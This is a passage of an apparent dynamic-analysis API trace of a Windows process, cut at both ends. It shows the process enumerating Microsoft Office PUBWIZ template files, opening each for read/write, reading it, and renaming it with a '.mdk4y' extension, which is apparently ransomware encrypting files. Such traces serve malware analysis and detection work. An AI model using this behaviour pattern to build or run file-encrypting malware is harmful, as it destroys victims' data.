nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2600, lpOverlapped=0x0) returned 1 [0252.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832753600000) returned 1 [0252.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832753600000) returned 1 [0252.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.dpv.mdk4y")) returned 1 [0252.308] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.308] AreFileApisANSI () returned 1 [0252.308] GetACP () returned 0x4e4 [0252.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROGRAM.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROGRAM.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0252.308] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754000000) returned 1 [0252.310] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26c, lpOverlapped=0x0) returned 1 [0252.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754100000) returned 1 [0252.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754100000) returned 1 [0252.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.mdk4y")) returned 1 [0252.314] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.314] AreFileApisANSI () returned 1 [0252.314] GetACP () returned 0x4e4 [0252.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PS10TARG.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PS10TARG.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS10TARG.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps10targ.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754500000) returned 1 [0252.315] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x934, lpOverlapped=0x0) returned 1 [0252.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754600000) returned 1 [0252.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754600000) returned 1 [0252.317] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS10TARG.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps10targ.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS10TARG.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps10targ.poc.mdk4y")) returned 1 [0252.318] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.318] AreFileApisANSI () returned 1 [0252.318] GetACP () returned 0x4e4 [0252.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PS2SWOOS.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PS2SWOOS.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.318] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS2SWOOS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps2swoos.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832754900000) returned 1 [0252.319] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f0, lpOverlapped=0x0) returned 1 [0252.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756100000) returned 1 [0252.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756100000) returned 1 [0252.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS2SWOOS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps2swoos.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS2SWOOS.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps2swoos.poc.mdk4y")) returned 1 [0252.333] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.333] AreFileApisANSI () returned 1 [0252.333] GetACP () returned 0x4e4 [0252.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PS9CRNRH.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PS9CRNRH.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.333] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS9CRNRH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps9crnrh.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756400000) returned 1 [0252.334] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c4, lpOverlapped=0x0) returned 1 [0252.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756500000) returned 1 [0252.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756500000) returned 1 [0252.335] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS9CRNRH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps9crnrh.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS9CRNRH.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps9crnrh.poc.mdk4y")) returned 1 [0252.336] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.336] AreFileApisANSI () returned 1 [0252.337] GetACP () returned 0x4e4 [0252.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PULLQUOTEBB.DPV", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PULLQUOTEBB.DPV", lpUsedDefaultChar=0x37df4c) returned 15 [0252.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832756700000) returned 1 [0252.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1200, lpOverlapped=0x0) returned 1 [0252.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832769400000) returned 1 [0252.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832769400000) returned 1 [0252.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.dpv.mdk4y")) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.466] AreFileApisANSI () returned 1 [0252.466] GetACP () returned 0x4e4 [0252.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PULLQUOTEBB.POC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PULLQUOTEBB.POC", lpUsedDefaultChar=0x37df4c) returned 15 [0252.466] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832769700000) returned 1 [0252.467] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18c0, lpOverlapped=0x0) returned 1 [0252.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832769900000) returned 1 [0252.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832769900000) returned 1 [0252.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.poc.mdk4y")) returned 1 [0252.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.470] AreFileApisANSI () returned 1 [0252.470] GetACP () returned 0x4e4 [0252.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PULQOT98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PULQOT98.POCPOC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.470] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832770100000) returned 1 [0252.471] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbb68, lpOverlapped=0x0) returned 1 [0252.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832781300000) returned 1 [0252.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832781300000) returned 1 [0252.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc.mdk4y")) returned 1 [0252.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.587] AreFileApisANSI () returned 1 [0252.587] GetACP () returned 0x4e4 [0252.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QP.DPV", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QP.DPV98.POC", lpUsedDefaultChar=0x37df4c) returned 6 [0252.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832781800000) returned 1 [0252.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8d1db, lpOverlapped=0x0) returned 1 [0252.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832795500000) returned 1 [0252.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832795600000) returned 1 [0252.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.dpv.mdk4y")) returned 1 [0252.735] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.735] AreFileApisANSI () returned 1 [0252.735] GetACP () returned 0x4e4 [0252.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QP.XML", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QP.XML", lpUsedDefaultChar=0x37df4c) returned 6 [0252.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832796600000) returned 1 [0252.736] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33e6, lpOverlapped=0x0) returned 1 [0252.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832804600000) returned 1 [0252.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832804600000) returned 1 [0252.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.mdk4y")) returned 1 [0252.818] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.818] AreFileApisANSI () returned 1 [0252.818] GetACP () returned 0x4e4 [0252.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QUIKPUBS.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QUIKPUBS.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.818] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QUIKPUBS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\quikpubs.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832805000000) returned 1 [0252.820] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f882, lpOverlapped=0x0) returned 1 [0253.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832824800000) returned 1 [0253.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832824800000) returned 1 [0253.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QUIKPUBS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\quikpubs.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QUIKPUBS.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\quikpubs.poc.mdk4y")) returned 1 [0253.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.023] AreFileApisANSI () returned 1 [0253.023] GetACP () returned 0x4e4 [0253.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPTWIZ.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="REPTWIZ.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0253.023] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\REPTWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\reptwiz.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832825500000) returned 1 [0253.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d57e, lpOverlapped=0x0) returned 1 [0253.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832836800000) returned 1 [0253.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832836800000) returned 1 [0253.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\REPTWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\reptwiz.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\REPTWIZ.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\reptwiz.poc.mdk4y")) returned 1 [0253.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.144] AreFileApisANSI () returned 1 [0253.144] GetACP () returned 0x4e4 [0253.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RES98.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RES98.POCOC", lpUsedDefaultChar=0x37df4c) returned 9 [0253.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RES98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\res98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832837500000) returned 1 [0253.146] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5df4, lpOverlapped=0x0) returned 1 [0253.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832845000000) returned 1 [0253.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832845000000) returned 1 [0253.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RES98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\res98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RES98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\res98.poc.mdk4y")) returned 1 [0253.223] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.223] AreFileApisANSI () returned 1 [0253.223] GetACP () returned 0x4e4 [0253.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESP98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RESP98.POCC", lpUsedDefaultChar=0x37df4c) returned 10 [0253.223] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resp98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832845400000) returned 1 [0253.224] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1effa, lpOverlapped=0x0) returned 1 [0253.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832853700000) returned 1 [0253.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832853700000) returned 1 [0253.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resp98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESP98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resp98.poc.mdk4y")) returned 1 [0253.310] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.310] AreFileApisANSI () returned 1 [0253.310] GetACP () returned 0x4e4 [0253.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESUME.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RESUME.DPV", lpUsedDefaultChar=0x37df4c) returned 10 [0253.310] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854100000) returned 1 [0253.311] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c00, lpOverlapped=0x0) returned 1 [0253.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854300000) returned 1 [0253.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854300000) returned 1 [0253.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.DPV" (normalized: 